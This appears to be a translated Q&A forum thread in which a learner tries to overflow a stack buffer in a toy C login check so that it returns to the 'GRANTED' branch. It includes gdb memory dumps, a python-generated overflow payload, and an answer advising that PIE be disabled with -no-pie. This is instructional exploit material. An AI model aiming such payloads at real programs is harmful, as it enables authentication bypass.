[英]can't overwirte return address outside of gdb
I try to use a buffer overflow on the stack to redirect the return address. 我尝试在堆栈上使用缓冲区溢出来重定向返回地址。 My goal is to overwrite the return address within the "check_auth" function, that the main continues at line 22 ("printf("GRANTED\\n");"). 我的目标是覆盖“ check_auth”函数中的返回地址,使主地址继续在第22行(“ printf(“ GRANTED \\ n”);“)。 Here is the C code: 这是C代码:
fugi@calc:~/Desktop$ gcc -g auth_overflow.c -o auth_overflow
fugi@calc:~/Desktop$ gdb auth_overflow -q
Reading symbols from auth_overflow...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_auth(char *pass){
6 char pass_buff[16];
7 int auth_flag = 0;
8 strcpy(pass_buff, pass);
9
10 if(strcmp(pass_buff, "yes") == 0)
(gdb)
11 auth_flag = 1;
12 return auth_flag;
13 }
14
15 int main( int argc, char *argv[]){
16 if(argc < 2){
17 printf("Usage: %s <password>\n\n", argv[0]);
18 exit(0);
19 }
20 if(check_auth(argv[1])){
(gdb)
21 printf("ACCESS\n");
22 printf("GRANTED\n");
23 }
24 else{
25 printf("\n Access Denied\n");
26 }
27 return 0;
28 }
I am using gdb on a 64bit Debian system, to debug the code. 我在64位Debian系统上使用gdb调试代码。 My problem is, the overwriting doesn't work outside of gdb. 我的问题是,改写在gdb之外不起作用。
I know, that the return address in which points back to main and the the beginning of the input variable(pass_buff) are 40 bytes appart. 我知道,指向主地址和输入变量(pass_buff)开头的返回地址为40个字节。
(gdb) i f
Stack level 0, frame at 0x7fffffffe170:
rip = 0x55555555477d in check_auth (auth_overflow.c:8); saved rip = 0x555555554800
called by frame at 0x7fffffffe190
source language c.
Arglist at 0x7fffffffe160, args: pass=0x7fffffffe562 'A' <repeats 56 times>
Locals at 0x7fffffffe160, Previous frame's sp is 0x7fffffffe170
Saved registers:
rbp at 0x7fffffffe160, rip at 0x7fffffffe168
(gdb) x/x *0x7fffffffe168
0x55554800: Cannot access memory at address 0x55554800
(gdb) x/x pass_buff
0x7fffffffe140: 0x00000001
(gdb) p 0x7fffffffe168 - 0x7fffffffe140
$1 = 40
So, when I do this: 因此,当我这样做时:
(gdb) run `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Starting program: /home/fugi/Desktop/auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
GRANTED
Program received signal SIGBUS, Bus error.
main (argc=<error reading variable: Cannot access memory at address 0x414141414141413d>,
argv=<error reading variable: Cannot access memory at address 0x4141414141414131>) at auth_overflow.c:28
28 }
But when I do it without gdb it doesn't work: 但是当我没有gdb时它不起作用:
fugi@calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Segmentation fault
What can I do to make this work? 我该怎么做才能使这项工作?
I also tried to do this by repeating the address, but the problem here is, that I can't print null bytes: 我也尝试通过重复地址来做到这一点,但是这里的问题是,我无法打印空字节:
(gdb) x/12xg $rsp
0x7fffffffe130: 0x00007fffffffe156 0x00007fffffffe56c
0x7fffffffe140: 0x4141414141414141 0x4141414141414141
0x7fffffffe150: 0x4141414141414141 0x4141414141414141
0x7fffffffe160: 0x4141414141414141 **0x0000555555554810**
0x7fffffffe170: 0x00007fffffffe268 0x0000000200000000
0x7fffffffe180: 0x0000555555554840 0x00007ffff7a57561
to make the address fit I need to add \\x00\\x00 but then I get: 为了使地址合适,我需要添加\\ x00 \\ x00,但是我得到:
fugi@calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55\x00\x00")'`
**bash: warning: command substitution: ignored null byte in input**
Segmentation fault
Is there a way to repeat the address like this? 有没有办法重复这样的地址?
Thanks for you help in advance 谢谢您的帮助
I don't know about exact build settings in your development environment, but I can guess some problems. 我不知道您的开发环境中的确切构建设置,但是我可以猜测一些问题。
on current Linux environment, PIE (Position-Independent-Executive) is enabled. 在当前的Linux环境中,启用了PIE(位置独立执行)。 which means, your target address is not always 0x0000555555554810
. 这意味着您的目标地址并不总是0x0000555555554810
。 to check that, add this code to main function : 要检查,将以下代码添加到main函数中:
printf("CODE: %p\\n", (void*)main);
if this code generates same address every times, then PIE is disabled. 如果此代码每次都生成相同的地址,则将禁用PIE。
argv
argument cannot include NULL byte (except end of string). argv
参数不能包含NULL字节(字符串末尾除外)。 but this is not a critical problem because on x86-64 system they uses only 6 low bytes for virtual address. 但这不是关键问题,因为在x86-64系统上,它们仅使用6个低字节作为虚拟地址。
to disable PIE build : use -no-pie . 禁用PIE构建: use -no-pie 。 gcc main.c -o main -no-pie
If you're asking how to return check_auth(), I'd do this: 如果您问如何返回check_auth(),我将这样做:
int main( int argc, char *argv[]){
if(argc < 2){
printf("Usage: %s <password>\n\n", argv[0]);
exit(0);
}
int flag = check_auth(argv[1]);
if(flag){
printf("ACCESS\n");
printf("GRANTED\n");
}else{
printf("\n Access Denied\n");
}
return flag;
}
My main language is Java, actually, so if I'm wrong, please correct me. 实际上,我的主要语言是Java,因此,如果我输入错了,请纠正我。 I'm trying to learn C as we speak. 我正在尝试学习C。
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